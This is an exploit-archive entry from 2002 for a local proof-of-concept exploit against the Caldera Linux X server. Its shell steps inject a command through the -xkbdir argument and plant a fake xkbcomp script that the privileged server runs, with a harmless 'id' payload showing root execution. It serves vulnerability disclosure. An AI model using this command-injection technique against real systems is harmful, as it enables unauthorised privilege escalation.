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calderax.txt

calderax.txt
Posted Aug 29, 2002
Authored by Pavel Kankovsky

Proof of concept local exploit for the Caldera Linux X11 server. The Xserver calls xkbcomp in an insecure manner while not dropping privileges.

tags | exploit, local, proof of concept
systems | linux
SHA-256 | 63e311dfa1eaf7b6836e69f9c5ed6134e5e229baf79f58c276d954ff32d2d618

calderax.txt

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The following proof of concepts were provided by Pavel Kankovsky: 
$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]

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